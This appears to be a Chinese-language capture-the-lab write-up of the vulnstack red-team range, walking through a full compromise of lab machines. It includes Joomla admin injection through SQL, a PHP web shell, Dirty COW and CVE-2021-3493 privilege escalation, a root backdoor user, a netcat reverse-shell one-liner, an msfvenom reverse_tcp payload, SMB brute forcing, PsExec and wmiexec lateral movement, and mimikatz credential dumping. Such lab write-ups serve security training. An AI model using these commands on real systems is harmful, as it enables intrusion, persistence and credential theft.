ATT&CK实战系列——红队实战(三)
一、环境配置
vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
拓扑结构
代码语言:javascript复制百度网盘:https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ
密码: 【红日安全】您的下载密码为:7mhi。
环境配置
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
注:名称及网段必须符合上述图片,进行了固定ip配置。
描述
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。
靶场配置
centos为出网机配置了两张网卡一个外网、一个内网
二、前期信息收集
站点、端口服务探测、目录敏感文件泄露
使用nmap、对当前的C段进行探寻
代码语言:javascript复制nmap -A -v -T4 192.168.1.1/24
发现了192.168.1.110存在服务并且开放的端口如下
代码语言:javascript复制nmap -sV -O 192.168.1.110
开放了一个web网站服务、mysql数据库服务、22远程ssh连接服务,访问ip站点如下:
发现是一个joomla CMS,于是进行目录扫描,发现敏感文件如下:
目录泄露~
后台管理登陆页面泄露
phpinfo泄露
数据库账号密码泄露
joomscan
也可以使用使用漏洞工具扫描 https://github.com/OWASP/joomscan
代码语言:javascript复制joomscan -u http://192.168.1.110/
发现joomla是3.9.12版本,然后尝试搜索已知漏洞
这里通过敏感文件泄露已经获取了数据库账号和密码,先去尝试连接
代码语言:javascript复制public $user = 'testuser';
public $password = 'cvcvgjASD!@';
数据库连接成功,因为 joomla 可以在后台模板 getshell,所以尝试查找管理员的账号密码登录后台,但是数据表中存储的管理员密码是加密的,需要换一种思路。
根据 joomla 官方文档 :
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password?/zh-cn
执行 sql 语句在数据库中添加 admin2/secret 超级管理员,注意 sql 语句修改为目标数据表的前缀。
代码语言:javascript复制INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
三、漏洞利用&Joomla后台getshell
成功进入后台
根据利用Joomla < v3.9.15 远程命令执行漏洞getshell Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php,写入一句话木马。
使用蚁剑连接,shell连接目录为:http://192.168.1.110/templates/beez3/shell.php
bypass disable_functions
虚拟终端执行系统命令返回 ret=127,怀疑服务端 disable_functions 禁用了命令执行函数。
原因是php7禁用了一些危险函数
这里直接选择蚁剑的插件进行绕过
当前网卡ip与连接ip不一致,当前 ip 为 192.168.93.120,内核是 ubuntu,说明真正的 web 服务后端在 ubuntu。
centos 服务器账号密码泄露
信息收集
代码语言:javascript复制uname -a
cat /proc/version
由于 ubuntu 内核比较新,暂时不考虑提权。翻找文件发现 test.txt 给出了一个用户的账号密码。
账号:wwwuser 密码:wwwuser_123Aqx
Xshell进行连接
查看内核版本
拿到出网机后想继续横向移动,一般是在跳板机搭建 socks 代理,所以需要将 centos 提权。
三、内网渗透
LES:Linux 提权审计工具 工具地址:https://github.com/mzet-/linux-exploit-suggester 上传linux-exploit-suggester.sh到centos服务器上并运行
检查出最有可能是脏牛提权
centos&脏牛提权
原理:
linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。并且在提权的时候,杀毒软件并不会检测到。
竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。
影响版本:
Linux内核> = 2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。
危害:
低权限的用户可利用这一漏洞在本地进行提权
工具地址:https://github.com/FireFart/dirtycow
将 dirty.c 上传到 centos,gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件,执行 ./dirty password 提权
代码语言:javascript复制gcc -pthread dirty.c -o dirty -lcrypt
./dirty password
代码语言:javascript复制su firefart
密码:password
权限维持,添加 root 后门
代码语言:javascript复制# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld
ubuntu&CVE-2021-3493提权
第一步是先将绕过disable_function的shell反弹到centos上(因为不能出网)
centos 离线安装 nc:https://blog.csdn.net/weixin_40583191/article/details/106803430
代码语言:javascript复制centos
nc -l 2333
ubuntu
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.93.100 2333 >/tmp/f
Ubuntu特权提升漏洞(CVE-2021-3493)
漏洞描述
OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。
影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
刚好ubuntu16.04尝试提权
EXP下载地址:https://github.com/briskets/CVE-2021-3493
下载好之后直接上传exp
代码语言:javascript复制gcc exp.c -o exp
chmod x exp
./exp
CrossC2 上线centos
kali_ip:192.168.1.128 ./genCrossC2.Linux 192.168.1.128 6666 null null Linux x64 test
生成一个linux,名字为test的shell
上线CS
配置监听器
msf 上线centos
攻击机生成 shell.elf,设置监听,将 elf 文件上传至 centos,执行后攻击机成功获得一个 meterpreter。
代码语言:javascript复制msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf > shell.elf
四、横向渗透
在msf上添加路由,meterpreter 放在后台,进行存活主机探测。
代码语言:javascript复制run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit
得到了三台加入TEST域的 windows 主机
配置代理
配置一下代理再搞,将ew_for_linux传到跳板机
代码语言:javascript复制./ew_for_linux64 -s ssocksd -l 8888
kali设置代理
代码语言:javascript复制vim /etc/proxychains.conf
windows代理软件Proxifier,打开配置代理
代理弄好这就直接上工具就完事了,开干
设置 proxychains bash 全局终端
代码语言:javascript复制proxychains bash
192.168.93.10
192.168.93.20
192.168.93.30
web无果,只好尝试爆破咯,这里踩坑kali2021版本的msf怎么打都不行,而kali2019版本msf就行这就离谱了。
smb爆破
代码语言:javascript复制use auxiliary/scanner/smb/smb_login
set SMBUSER administrator
set PASS_FILE /root/pass.txt
set rhosts 192.168.93.20
run
还可以使用工具
PsExec漏洞利用
PsExec是一款功能强大的软件,起初主要用于大批量Windows主机的运维,在域内效果不错。但是,攻击者逐渐开始使用PsExec,通过命令行环境和目标机器进行连接,甚至控制目标机器,而不需要通过RDP远程桌面协议进行图形化控制,很好的隐藏了黑客活动。
参考:https://www.cnblogs.com/tomyyyyy/p/14667204.html
代码语言:javascript复制use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run
但是一直掉线就很尴尬~~~ 查看共享目录并登录
代码语言:javascript复制smbclient //192.168.93.20/ADMIN$ -U administrator
wmiexec smb登录
wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。
wmiexec 执行命令,搜集信息,参考:wmiexec.py 下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
代码语言:javascript复制git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install .(pip install . 两个空格)(若pip安装出错,尝试apt install gcc-9-base ,重新下载apt-get install python-pip)
代码语言:javascript复制python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
定位域控
DNS服务器一般是域控 嘿嘿也有可能不是
可以先查看一下端口
代码语言:javascript复制netstat -an | find “3389”
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关防火墙
代码语言:javascript复制https://www.cnblogs.com/Fluorescence-tjy/p/9835743.html
上传mimikatz
账号:administrator 密码:123qwe!ASD 远程连接,好家伙传不了
通过smb共享上传mimikatz
代码语言:javascript复制smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe
那可不就运行起来
代码语言:javascript复制mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
抓到域控密码
ipc远程连接
IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。
利用条件:
1.管理员开启了默认共享
2.139或445端口开放
代码语言:javascript复制net use \192.168.93.10admin$ zxcASDqw123!! /user:testadministrator #系统默认路径c:windows下
dir \192.168.93.10C$usersadministratorDocuments
至此差不多已经结束了,还有一台win7密码和win8一样,方法很多可以中继攻击,也可以wmiexec获取shell
此次渗透主要是做代理上花了一些时间研究,其他还好
本文仅作靶场实战教程,禁止将本文演示的技术方法用于非法活动,违者后果自负。
参考的大佬们博客:
代码语言:javascript复制https://blog.csdn.net/luson2014/article/details/110534905
https://blog.csdn.net/qq_38626043/article/details/119354151
https://blog.csdn.net/weixin_45794666/article/details/118930601
https://mp.weixin.qq.com/s?__biz=MzkzMzI4MTY3OA==&mid=2247483698&idx=1&sn=32b5a4651610c36c92e4166cca768c25&chksm=c24fabd3f53822c5cab1c1f3feb52cfa6307fcc779e3ca2ef6685d1bef2b605d90dec064f458&mpshare=1&scene=23&srcid=1128RLI3aI2zqpk3QmWxdU6f&sharer_sharetime=1638111141625&sharer_shareid=cdcfacac1a78422ff14c9853c2dc0fef#rd
https://mp.weixin.qq.com/s?__biz=Mzg4MjY1NDQ4Nw==&mid=2247483749&idx=1&sn=431647e7af9da9ab6a2e6380da8752c8&chksm=cf522d1df825a40bb92a0eb3029b41495828bb916ef553c156072c2364dfa1551282fe89a451&mpshare=1&scene=23&srcid=1118gzbSD9LNP5PlHlDW5B7R&sharer_sharetime=1638173786859&sharer_shareid=cdcfacac1a78422ff14c9853c2dc0fef#rd
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。